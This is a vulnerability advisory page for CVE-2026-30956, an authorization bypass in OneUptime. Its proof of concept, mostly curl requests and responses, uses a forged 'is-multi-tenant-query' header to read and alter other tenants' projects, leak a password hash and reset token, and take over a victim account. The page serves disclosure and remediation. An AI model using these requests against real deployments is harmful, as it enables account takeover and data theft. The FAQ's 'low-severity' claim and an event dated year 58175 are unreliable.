CVE-2026-30956: OneUptime has authorization bypass via client‑controlled is-multi-tenant-query header

Published Mar 10, 2026
·
Updated

Summary A low‑privileged user can bypass authorization and tenant isolation in OneUptime v10.0.20 by sending a forged is-multi-tenant-query header together with a controlled projectid header.

Because the server trusts this client-supplied header, internal permission checks in BasePermission are skipped and tenant scoping is disabled.

This allows attackers to:

1. Access project data belonging to other tenants 2. Read sensitive User fields via nested relations 3. Leak plaintext resetPasswordToken 4. Reset the victim’s password and fully take over the account

This results in cross‑tenant data exposure and full account takeover.

Details

Root cause

The API trusts a client‑controlled header to determine whether a request should bypass authorization checks.

CommonAPI.ts if (req.headers["is-multi-tenant-query"]) { props.isMultiTenantRequest = true; } BasePermission.ts if (!props.isMultiTenantRequest) { TablePermission.checkTableLevelPermissions(...) QueryPermission.checkQueryPermission(...) SelectPermission.checkSelectPermission(...) } When the attacker sends: is-multi-tenant-query: true the system skips all authorization checks including:

- Table permission validation - Query permission validation - Select permission validation - Tenant isolation enforcement

Additionally, tenant scoping is disabled in TenantPermission

Sensitive user data exposure

Projects marked with: @MultiTenentQueryAllowed(true) allow cross-tenant queries when the header is present.

The Project model contains a relation: createdByUser Because select permission checks are skipped, attackers can retrieve sensitive fields from the User model including: password resetPasswordToken webauthnChallenge

Reset token stored in plaintext

In the password reset flow:

Authentication.ts resetPasswordToken: token The reset token is stored in plaintext in the database.

During password reset: /api/identity/reset-password the server validates the provided token directly.

If an attacker leaks this token through the authorization bypass, they can immediately reset the victim’s password.

Exploitation chain

1. Attacker bypasses tenant isolation using is-multi-tenant-query 2. Attacker reads victim project 3. Attacker selects createdByUser.resetPasswordToken 4. Attacker triggers forgot-password for victim 5. Attacker retrieves the fresh token via the same query 6. Attacker calls /api/identity/reset-password 7. Attacker sets a new password 8. Attacker logs in as victim

This results in full account takeover.

PoC

Setup: - Local OneUptime v10.0.20 instance - Two normal accounts: - Attacker account owns Project A (7cb77c45-c2e0-42b5-8a28-57aa0dec6e82) - Victim account owns Project B (88ced36b-4c0a-4c12-bdf1-497d60b10b23) with email victim@example.com

---

Chain 1: Direct Project Isolation Bypass

1. Read isolation bypass

bash curl -X POST http://localhost/api/project/get-list \ -H "authorization: Bearer <attackertoken>" \ -H "projectid: 7cb77c45-c2e0-42b5-8a28-57aa0dec6e82" \ -H "is-multi-tenant-query: true" \ -H "content-type: application/json" \ -d '{ "query": {}, "select": { "id": true, "name": true, "createdOwnerEmail": true } }' Result: Returns both the attacker's and victim's projects: json { "data": [ { "id": "88ced36b-4c0a-4c12-bdf1-497d60b10b23", "name": "Victim Project", "createdOwnerEmail": { "value": "victim@example.com" } }, { "id": "7cb77c45-c2e0-42b5-8a28-57aa0dec6e82", "name": "Attacker Project", "createdOwnerEmail": { "value": "attacker@example.com" } } ], "count": 2 } 2. Write isolation bypass

Victim project name is initially: Victim Project ORIGINAL curl -X POST http://localhost/api/project/88ced36b-4c0a-4c12-bdf1-497d60b10b23/update-item \ -H "authorization: Bearer <attackertoken>" \ -H "projectid: 7cb77c45-c2e0-42b5-8a28-57aa0dec6e82" \ -H "is-multi-tenant-query: true" \ -H "content-type: application/json" \ -d '{"name":"Victim Project EXPLOIT"}' Result: Victim project name is updated to "Victim Project EXPLOIT" despite the attacker not being a member of the victim project.

Chain 2: Account Takeover via Credential Leakage

3. Trigger password reset for victim curl -X POST http://localhost/api/identity/forgot-password \ -H "content-type: application/json" \ -d "{\"email\":\"victim@example.com\"}" 4. Leak victim password hash and reset token via tenant bypass curl -X POST http://localhost/api/project/get-list \ -H "authorization: Bearer <attackertoken>" \ -H "projectid: 7cb77c45-c2e0-42b5-8a28-57aa0dec6e82" \ -H "is-multi-tenant-query: true" \ -H "content-type: application/json" \ -d '{ "query": {"id": "88ced36b-4c0a-4c12-bdf1-497d60b10b23"}, "select": { "id": true, "createdByUser": { "email": true, "password": true, "resetPasswordToken": true } } }' Result: Sensitive user data is exposed: { "data": [{ "id": "88ced36b-4c0a-4c12-bdf1-497d60b10b23", "createdByUser": { "email": {"value": "victim@example.com"}, "password": {"value": "faef08e8f2b9e9dfa09c15dfaf043b8aad7761d9712c7e09417d4da2156e33d9"}, "resetPasswordToken": "4b75e6d0-1aca-11f1-b2d4-698549b693fb" } }] } 5. Take over victim account using leaked token Reset password with leaked token curl -X POST http://localhost/api/identity/reset-password \ -H "content-type: application/json" \ -d '{ "resetPasswordToken": "4b75e6d0-1aca-11f1-b2d4-698549b693fb", "password": "AttackerChosenPassword123!" }'

Login as victim with new password curl -X POST http://localhost/api/identity/login \ -H "content-type: application/json" \ -d '{ "email": "victim@example.com", "password": "AttackerChosenPassword123!" }' Result: Successful login with attacker-chosen password, original password fails - complete account takeover achieved.

Result: Victim project name is updated despite the attacker not being a member of the victim project. Impact This vulnerability allows a low‑privileged authenticated user to:

- bypass tenant isolation - access other tenant projects - read sensitive user credential fields - leak plaintext reset tokens - reset victim passwords - fully take over victim accounts

Because OneUptime is a multi‑tenant monitoring platform, this allows attackers to compromise any tenant account in the system.

Other sources

OneUptime is a solution for monitoring and managing online services. Prior to 10.0.21, a low‑privileged user can bypass authorization and tenant isolation in OneUptime v10.0.20 and earlier by sending a forged is-multi-tenant-query header together with a controlled projectid header. Because the server trusts this client-supplied header, internal permission checks in BasePermission are skipped and tenant scoping is disabled. This allows attackers to access project data belonging to other tenants, read sensitive User fields via nested relations, leak plaintext resetPasswordToken, and reset the victim’s password and fully take over the account. This results in cross‑tenant data exposure and full account takeover. This vulnerability is fixed in 10.0.21.

— MITRE

Affected Software

2 affected componentsFixes available
npm/@oneuptime/common<10.0.21
10.0.21
Hackerbay Oneuptime<10.0.21

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/@oneuptime/common to a version that resolves this vulnerability.

    Fixed in 10.0.21
  2. Upgrade

    Upgrade OneUptime to a version that resolves this vulnerability.

    Fixed in 10.0.21

Event History

Mar 10, 2026
Advisory Published
via GitHub·01:09 AM
Data Sourced
via GitHub·01:09 AM
DescriptionSeverityWeaknessAffected Software
CVE Published
via MITRE·04:56 PM
Data Sourced
via MITRE·04:56 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·06:18 PM
DescriptionSeverityWeaknessAffected Software
May 6, 58175
Event
via FIRST·08:20 AM

Frequently Asked Questions

1

What is the severity of CVE-2026-30956?

CVE-2026-30956 is classified as a low-severity vulnerability due to its requirement for low-privileged user access.

2

How can I fix CVE-2026-30956?

You can address CVE-2026-30956 by upgrading to OneUptime version 10.0.21 or later.

3

What does CVE-2026-30956 affect?

CVE-2026-30956 affects OneUptime version 10.0.20, allowing authorization bypass via manipulated headers.

4

Who is affected by CVE-2026-30956?

Low-privileged users in organizations using OneUptime version 10.0.20 may be affected by CVE-2026-30956.

5

Is there a patch available for CVE-2026-30956?

Yes, a patch is available in OneUptime version 10.0.21 which resolves CVE-2026-30956.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203